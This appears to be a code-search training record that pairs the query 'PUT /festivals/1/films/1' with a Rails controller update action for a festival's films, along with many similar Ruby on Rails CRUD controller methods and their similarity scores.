"def create\n @federation = Federation.new(federation_params)\n\n respond_to do |format|\n if @federation.save\n format.html { redirect_to @federation, notice: 'Federation was successfully created.' }\n format.json { render :show, status: :created, location: @federation }\n format.xml { render :xml => @federation, :status => :created, :location => @federation }\n else\n format.html { render :new }\n format.json { render json: @federation.errors, status: :unprocessable_entity }\n format.xml { render :xml => @federation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @fgroup = Fgroup.new(params[:fgroup])\n\n respond_to do |format|\n if @fgroup.save\n flash[:notice] = 'Fgroup was successfully created.'\n format.html { redirect_to(@fgroup) }\n format.xml { render :xml => @fgroup, :status => :created, :location => @fgroup }\n redirect_to :controller => :forums, :action => :list\n return\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fgroup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def films\n self.screenings.map do |screening|\n screening.festival.title\n end\n end",
"def create\n @farm = Farm.new(params[:farm])\n @farm.save\n respond_with(@farm)\n end",
"def create\n @fondo = Fondo.new(fondo_params)\n\n respond_to do |format|\n if @fondo.save\n format.html { redirect_to @fondo, notice: 'Fondo was successfully created.' }\n format.json { render :show, status: :created, location: @fondo }\n else\n format.html { render :new }\n format.json { render json: @fondo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fijomovil = Fijomovil.new(fijomovil_params)\n\n respond_to do |format|\n if @fijomovil.save\n format.html { redirect_to @fijomovil, notice: 'Fijomovil was successfully created.' }\n format.json { render :show, status: :created, location: @fijomovil }\n else\n format.html { render :new }\n format.json { render json: @fijomovil.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @graffiti = Graffiti.new(params[:graffiti])\n\n respond_to do |format|\n if @graffiti.save\n flash[:notice] = 'Graffiti was successfully created.'\n format.html { redirect_to graffiti_url(@graffiti) }\n format.xml { head :created, :location => graffiti_url(@graffiti) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @graffiti.errors.to_xml, :graffiti => :unprocessable_entity }\n end\n end\n end",
"def create\n @medio = Medio.new(params[:medio])\n\n respond_to do |format|\n if @medio.save\n flash[:notice] = 'Medio was successfully created.'\n format.html { redirect_to(@medio) }\n format.xml { render :xml => @medio, :status => :created, :location => @medio }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @medio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def film_params\n params.require(:film).permit(:title, :director, :year, :synopsis, :runtime, :image, :favorited, :default, :watched, :default, :notes)\n end",
"def create\n @add_moderator_to_film = AddModeratorToFilm.new(params[:add_moderator_to_film])\n\n respond_to do |format|\n if @add_moderator_to_film.save\n format.html { redirect_to(@add_moderator_to_film, :notice => 'Add moderator to film was successfully created.') }\n format.xml { render :xml => @add_moderator_to_film, :status => :created, :location => @add_moderator_to_film }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @add_moderator_to_film.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @firm = Firm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @firm }\n end\n end",
"def create\n @repasse_fabrica = RepasseFabrica.new(params[:repasse_fabrica])\n\n respond_to do |format|\n if @repasse_fabrica.save\n format.html { redirect_to(@repasse_fabrica, :notice => 'RepasseFabrica was successfully created.') }\n format.xml { render :xml => @repasse_fabrica, :status => :created, :location => @repasse_fabrica }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @repasse_fabrica.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n #@feat = Feat.new(params[:feat])\n @feat = @character.feats.build(params[:feat])\n\n respond_to do |format|\n if @feat.save\n flash[:notice] = 'Feat was successfully created.'\n format.html { redirect_to(edit_character_path(@character)) }\n format.xml { render :xml => @feat, :status => :created, :location => @feat }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @feat.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @fight = Fight.new(params[:fight])\n\n respond_to do |format|\n if @fight.save\n format.html { redirect_to(@fight, :notice => 'Fight was successfully created.') }\n format.xml { render :xml => @fight, :status => :created, :location => @fight }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fight.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def film_params\n params.require(:film).permit(:title, :brazilian_title, :release, :synopse, :poster, :genre,\n :cast_ids, :writer_ids, :director_ids, :poster_cache, :country_id, :length, :remove_poster)\n end",
"def index\n @film = Film.find(params[:film_id], :include => [:festival, {:screenings => :venue }])\n @screenings = @film.screenings\n @festival = @film.festival\n check_festival_access\n \n respond_to do |format|\n format.html { raise NonAjaxEditsNotSupported }\n format.xml { render :xml => @screenings }\n end\n end",
"def create\n @pft = Pft.new(params[:pft])\n\n respond_to do |format|\n if @pft.save\n flash[:notice] = 'Pft was successfully created.'\n format.html { redirect_to( edit_pft_path(@pft)) }\n format.xml { render :xml => @pft, :status => :created, :location => @pft }\n format.csv { render :csv => @pft, :status => :created, :location => @pft }\n format.json { render :json => @pft, :status => :created, :location => @pft }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pft.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @pft.errors, :status => :unprocessable_entity }\n format.json { render :json => @pft.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @film_caster = FilmCaster.new(film_caster_params)\n\n respond_to do |format|\n if @film_caster.save\n format.html { redirect_to @film_caster, notice: 'Film caster was successfully created.' }\n format.json { render :show, status: :created, location: @film_caster }\n else\n format.html { render :new }\n format.json { render json: @film_caster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fan = Fan.new(params[:fan])\n\n respond_to do |format|\n if @fan.save\n format.html { render :action => 'thanks' }\n format.xml { render :xml => @fan, :status => :created, :location => @fan }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @staffd = Staffd.new(params[:staffd])\n\n respond_to do |format|\n if @staffd.save\n flash[:notice] = 'Staffd was successfully created.'\n format.html { redirect_to(@staffd) }\n format.xml { render :xml => @staffd, :status => :created, :location => @staffd }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @staffd.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @fuga = Fuga.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fuga }\n end\n end",
"def create\n @foto_album = FotoAlbum.new(params[:foto_album])\n\n respond_to do |format|\n if @foto_album.save\n flash[:notice] = 'Фотоальбом успешно создан.'\n format.html { redirect_to(@foto_album) }\n format.xml { render :xml => @foto_album, :status => :created, :location => @foto_album }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @foto_album.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def friends(id)\n friends_data(request(\"users/friends/#{id}.xml\", :auth => true))\n end"
] |
[
"0.6207764",
"0.5970602",
"0.5744422",
"0.5744422",
"0.56854284",
"0.5611808",
"0.56021523",
"0.5564345",
"0.54632294",
"0.54605484",
"0.5451148",
"0.54456246",
"0.53912866",
"0.53912276",
"0.53831565",
"0.5380625",
"0.53759617",
"0.5354884",
"0.5345772",
"0.53380185",
"0.5276821",
"0.52598727",
"0.5244067",
"0.52193934",
"0.52190775",
"0.5217896",
"0.52058744",
"0.5182044",
"0.51805776",
"0.5154551",
"0.5154465",
"0.51465267",
"0.51384044",
"0.5132335",
"0.5130962",
"0.51179427",
"0.51026773",
"0.50959307",
"0.50884056",
"0.50884056",
"0.5076179",
"0.5067142",
"0.50655013",
"0.5055743",
"0.5054314",
"0.50503343",
"0.5039647",
"0.5036285",
"0.5031033",
"0.50277346",
"0.50200796",
"0.50183994",
"0.5017371",
"0.50038207",
"0.49986228",
"0.49888158",
"0.49848235",
"0.4978666",
"0.4969325",
"0.49680007",
"0.49558067",
"0.4955071",
"0.49511853",
"0.49425337",
"0.49354035",
"0.4934942",
"0.4930793",
"0.49277866",
"0.49271303",
"0.49248844",
"0.49244285",
"0.49239844",
"0.49203685",
"0.4915141",
"0.49144363",
"0.49143666",
"0.491342",
"0.4909016",
"0.4904739",
"0.49041885",
"0.49015722",
"0.4900964",
"0.48962802",
"0.48959252",
"0.48909667",
"0.48896915",
"0.48892516",
"0.48852867",
"0.48808008",
"0.48800406",
"0.4869097",
"0.4868561",
"0.4867183",
"0.48650596",
"0.48627383",
"0.4857422",
"0.48566616",
"0.48508134",
"0.48488885",
"0.48477978"
] |
0.63393736
|
0
|
PUT /festivals/1/films/1 PUT /festivals/1/films/1.xml
|
def update
@film = @festival.films.find(params[:id])
@updated = @film.update_attributes(params[:film])
respond_to do |format|
format.html { raise NonAjaxEditsNotSupported }
format.js # update.rjs
if @updated
format.xml { head :ok }
else
format.xml { render :xml => @film.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @fam = Fam.find(params[:id])\n\n respond_to do |format|\n if @fam.update_attributes(params[:fam])\n flash[:notice] = 'Fam was successfully updated.'\n format.html { redirect_to(@fam) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fam.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @foam = Foam.find(params[:id])\n\n respond_to do |format|\n if @foam.update_attributes(params[:foam])\n format.html { redirect_to @foam, notice: 'Foam was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foam.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @festival = Festival.find(params[:id])\n\n respond_to do |format|\n if @festival.update_attributes(params[:festival])\n format.html { redirect_to @festival, notice: 'Festival was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @festival.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @film = @festival.films.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @film }\n end\n end",
"def update\n# @fossil = Fossil.find(params[:id])\n\n respond_to do |format|\n if @fossil.update_attributes(params[:fossil])\n format.html { redirect_to([@collection, @fossil], :notice => 'File was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fossil.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @festival.update(festival_params)\n format.html { redirect_to @festival, notice: 'Festival was successfully updated.' }\n format.json { render :show, status: :ok, location: @festival }\n else\n format.html { render :edit }\n format.json { render json: @festival.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_festival\n @festival = Festival.find(params[:id])\n end",
"def update\n @farm = Farm.find(params[:id])\n\n respond_to do |format|\n if @farm.update_attributes(params[:farm])\n flash[:notice] = 'Farm was successfully updated.'\n format.html { redirect_to(@farm) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @farm.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @film = @festival.films.new(params[:film])\n @saved = @film.save\n \n respond_to do |format|\n format.html { raise NonAjaxEditsNotSupported }\n format.js\n if @saved\n format.xml { render :xml => @film, :status => :created, :location => @film }\n else\n format.xml { render :xml => @film.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_festival\n @festival = Festival.friendly.find(params[:id])\n end",
"def update\n @firm = Firm.find(params[:id])\n\n respond_to do |format|\n if @firm.update_attributes(params[:firm])\n flash[:notice] = 'Firm was successfully updated.'\n format.html { redirect_to(@firm) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @firm.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @farm = Farm.find(params[:id])\n\n respond_to do |format|\n if @farm.update_attributes(params[:farm])\n format.html { redirect_to(\"/farmview\", :notice => 'Farm was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @farm.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @film.update(film_params)\n format.html { redirect_to @film, notice: 'Filme atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @film.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @foyer = Foyer.find(params[:id])\n\n respond_to do |format|\n if @foyer.update_attributes(params[:foyer])\n flash[:notice] = 'Le foyer a bien été mis à jour.'\n format.html { redirect_to(@foyer) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @foyer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @familia = Familia.find(params[:id])\n\n respond_to do |format|\n if @familia.update_attributes(params[:familia])\n flash[:notice] = 'Família foi atualizado(a) com sucesso.'\n format.html { redirect_to(@familia) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @familia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @farmexpense = Farmexpense.find(params[:id])\n\n respond_to do |format|\n if @farmexpense.update_attributes(params[:farmexpense])\n format.html { redirect_to(:controller => \"farms\", :action => \"edit\", :id => session[:s_farm_id], :notice => 'farm expense was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @farmexpense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @feefile = Feefile.find(params[:id])\n\n respond_to do |format|\n if @feefile.update_attributes(params[:feefile])\n format.html { redirect_to(@feefile, :notice => 'Feefile was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feefile.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_filme\n @filme = Filme.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @fiestum.update(fiestum_params)\n format.html { redirect_to @fiestum, notice: 'Fiestum was successfully updated.' }\n format.json { render :show, status: :ok, location: @fiestum }\n else\n format.html { render :edit }\n format.json { render json: @fiestum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @film.update(film_params)\n format.html { redirect_to @film, notice: 'Film mis a jour.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @film.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @films_box = FilmsBox.find(params[:id])\n\n respond_to do |format|\n if @films_box.update_attributes(params[:films_box])\n format.html { redirect_to @films_box, notice: 'Films box was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @films_box.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sofa = Sofa.find(params[:id])\n\n respond_to do |format|\n if @sofa.update_attributes(params[:sofa])\n flash[:notice] = 'Sofa was successfully updated.'\n format.html { redirect_to(@sofa) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sofa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@family ||= Family.find(params[:id])\n respond_to do |format|\n if @family.update_attributes(params[:family])\n flash[:notice] = 'Family was successfully updated.'\n format.html { redirect_to(@family) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @perfil = Perfil.find(params[:id])\n\n respond_to do |format|\n if @perfil.update_attributes(params[:perfil])\n flash[:notice] = 'Perfil was successfully updated.'\n format.html { redirect_to(@perfil) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @perfil.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @perfil = Perfil.find(params[:id])\n\n respond_to do |format|\n if @perfil.update_attributes(params[:perfil])\n flash[:notice] = 'Perfil was successfully updated.'\n format.html { redirect_to(@perfil) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @perfil.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @foro = Foro.find(params[:id])\n\n respond_to do |format|\n if @foro.update_attributes(params[:foro])\n format.html { redirect_to(@foro, :notice => t('modificado')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @foro.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @fuga = Fuga.find(params[:id])\n\n respond_to do |format|\n if @fuga.update_attributes(params[:fuga])\n format.html { redirect_to(@fuga, :notice => 'Fuga was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fuga.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @feria2010observacion = Feria2010observacion.find(params[:id])\n\n respond_to do |format|\n if @feria2010observacion.update_attributes(params[:feria2010observacion])\n format.html { redirect_to(@feria2010observacion, :notice => 'Feria2010observacion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feria2010observacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @familia = Familia.find(params[:id])\n\n respond_to do |format|\n if @familia.update_attributes(params[:familia])\n flash[:notice] = 'Familia was successfully updated.'\n format.html { redirect_to(@familia) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @familia.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @add_users_to_film = AddUsersToFilm.find(params[:id])\n\n respond_to do |format|\n if @add_users_to_film.update_attributes(params[:add_users_to_film])\n format.html { redirect_to(@add_users_to_film, :notice => 'Add users to film was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @add_users_to_film.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @diretor = Diretor.order('nome')\n @ator = Ator.order('nome')\n\n respond_to do |format|\n if @filme.update_attributes(filme_params)\n format.html { redirect_to @filme, notice: 'O filme foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @filme.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @firearm = Firearm.find(params[:id])\n\n respond_to do |format|\n if @firearm.update_attributes(params[:firearm])\n format.html { redirect_to(@firearm, :notice => 'Firearm was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @firearm.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @spoofer = Spoofer.find(params[:id])\n\n respond_to do |format|\n if @spoofer.update_attributes(params[:spoofer])\n format.html { redirect_to @spoofer, notice: 'Spoofer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spoofer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @frat.update(frat_params)\n format.html { redirect_to @frat, notice: 'Frat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @frat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @firm = Firm.find(params[:id])\n\n respond_to do |format|\n if @firm.update_attributes(params[:firm])\n format.html { redirect_to @firm, notice: 'Empresa alterada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @firm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @frequentmag = Frequentmag.find(params[:id])\n\n respond_to do |format|\n if @frequentmag.update_attributes(params[:frequentmag])\n format.html { redirect_to(@frequentmag, :notice => 'Frequentmag was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @frequentmag.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @firm = Firm.find(params[:id])\n\n respond_to do |format|\n if @firm.update_attributes(params[:firm])\n flash[:notice] = flash_helper('Firm was successfully updated.')\n format.html { redirect_to account_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @firm.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @franchise.update_attributes(params[:franchise])\n flash[:notice] = 'Franchise was successfully updated.'\n format.html { redirect_to(@franchise) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @franchise.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @family = Family.find(params[:id])\n\n respond_to do |format|\n if @family.update_attributes(params[:family])\n flash[:notice] = \"Family #{@family.business_name} was successfully updated.\"\n format.html { redirect_to(@family) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @family.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @foil = Foil.find(params[:id])\n\n respond_to do |format|\n if @foil.update_attributes(params[:foil])\n format.html { redirect_to @foil, notice: 'Foil was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foil.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(path = '/files/', params = {})\n request :put, path, params\n end",
"def update\n @farm = Farm.find(params[:id])\n\n respond_to do |format|\n if @farm.update_attributes(params[:farm])\n format.html { redirect_to @farm, notice: 'Farm was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @farm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @farm = Farm.find(params[:id])\n\n respond_to do |format|\n if @farm.update_attributes(params[:farm])\n format.html { redirect_to @farm, notice: 'Farm was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @farm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @farm = Farm.find(params[:id])\n\n respond_to do |format|\n if @farm.update_attributes(params[:farm])\n format.html { redirect_to @farm, notice: 'Farm was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @farm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @inventario = Inventario.find(params[:id])\n @foto = @inventario.foto\n \n @service = InventarioService.new(@inventario, @foto)\n respond_to do |format|\n\n if @inventario.update_attributes(params[:inventario],params[:foto_file])\n format.html { redirect_to(@inventario, :notice => 'Inventario was successfully updated.') }\n format.xml { head :ok }\n else\n\t @foto = @service.foto\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inventario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @fax_document = FaxDocument.find(params[:id])\n \n respond_to do |format|\n if @fax_document.update_attributes(params[:fax_document])\n format.html { redirect_to(@fax_document, :notice => t(:fax_document_updated)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fax_document.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update\n @venue = Venue.find(params[:id])\n \n # TODO this should be handled on create as well\n @festivals = params[:festivals]\n @festivals && @festivals.keys.each do |festival_id|\n logger.info \"Processing festival id: #{festival_id}; FestivalParticipant.find_by_festival_id_and_venue_id(#{festival_id}, #{@venue.id}) \"\n if participant = FestivalParticipant.find_by_festival_id_and_venue_id(festival_id, @venue.id)\n participant.update_attribute(:description, @festivals[festival_id][:participant_description])\n end\n end\n\n respond_to do |format|\n if @venue.update_attributes(params[:venue])\n flash[:notice] = 'Venue was successfully updated.'\n format.html { redirect_to(@venue) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @film = Film.find(params[:film_id], :include => [:festival, {:screenings => :venue }])\n @screenings = @film.screenings\n @festival = @film.festival\n check_festival_access\n \n respond_to do |format|\n format.html { raise NonAjaxEditsNotSupported }\n format.xml { render :xml => @screenings }\n end\n end",
"def update\n @feria2014jefe = Feria2014jefe.find(params[:id])\n\n respond_to do |format|\n if @feria2014jefe.update_attributes(params[:feria2014jefe])\n format.html { redirect_to(@feria2014jefe, :notice => 'Feria2014jefe was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feria2014jefe.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def actualizacion \n fiesta.update (params[:id]) \n render json: fiesta\n end",
"def update\n respond_to do |format|\n if @fisier.update(fisier_params)\n format.html { redirect_to root_path, notice: 'Fisier was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fisier.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ftype = Ftype.find(params[:id])\n\n respond_to do |format|\n if @ftype.update_attributes(params[:ftype])\n format.html { redirect_to @ftype, notice: 'Ftype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ftype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @foto_album = FotoAlbum.find(params[:id])\n\n respond_to do |format|\n if @foto_album.update_attributes(params[:foto_album])\n flash[:notice] = 'Фотоальбом успешно обновлен.'\n format.html { redirect_to(@foto_album) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @foto_album.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @frete = Frete.find(params[:id])\n\n respond_to do |format|\n if @frete.update_attributes(params[:frete])\n format.html { redirect_to @frete, notice: 'Frete was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @frete.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @famille.update(famille_params)\n format.html { redirect_to @famille, notice: 'Famille was successfully updated.' }\n format.json { render :show, status: :ok, location: @famille }\n\t else\n format.html { render :edit }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fm.update(fm_params)\n format.html { redirect_to @fm, notice: 'Fm was successfully updated.' }\n format.json { render :show, status: :ok, location: @fm }\n else\n format.html { render :edit }\n format.json { render json: @fm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @foto = Foto.find(params[:id])\n\n respond_to do |format|\n if @foto.update_attributes(params[:foto])\n format.html { redirect_to @foto, notice: 'Foto was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @finder = Finder.find(params[:id])\n\n respond_to do |format|\n if @finder.update_attributes(params[:finder])\n format.html { redirect_to @finder, notice: 'Finder was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @finder.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @food.update_attributes(params[:food])\n flash[:notice] = 'Food was successfully updated.'\n format.html { redirect_to(food_url(@food)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @food.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @foiltype = Foiltype.find(params[:id])\n\n respond_to do |format|\n if @foiltype.update_attributes(params[:foiltype])\n format.html { redirect_to @foiltype, notice: 'Foiltype was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foiltype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @floormaster = Floormaster.find(params[:id])\n\n respond_to do |format|\n if @floormaster.update_attributes(params[:floormaster])\n format.html { redirect_to(@floormaster, :notice => 'Floormaster was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @floormaster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @film = @festival.films.find(params[:id])\n @film.destroy\n\n respond_to do |format|\n format.html { raise NonAjaxEditsNotSupported }\n format.js # destroy.rjs\n format.xml { head :ok }\n end\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'FOAF was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@user = User.find(params[:id])\n \n if @film.update(film_params)\n render JSON: @film\n else\n render JSON: @film.errors, status: :unprocessable_entity\nend\nend",
"def update\n @familium = Familium.find(params[:id])\n\n respond_to do |format|\n if @familium.update_attributes(params[:familium])\n format.html { redirect_to @familium, notice: 'Familia fue actualizada existosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @familium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @swf = Swf.find(params[:id])\n\n respond_to do |format|\n if @swf.update_attributes(params[:swf])\n format.html { redirect_to(@swf, :notice => 'Swf was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @swf.errors, :status => :unprocessable_entity }\n end\n end\n end",
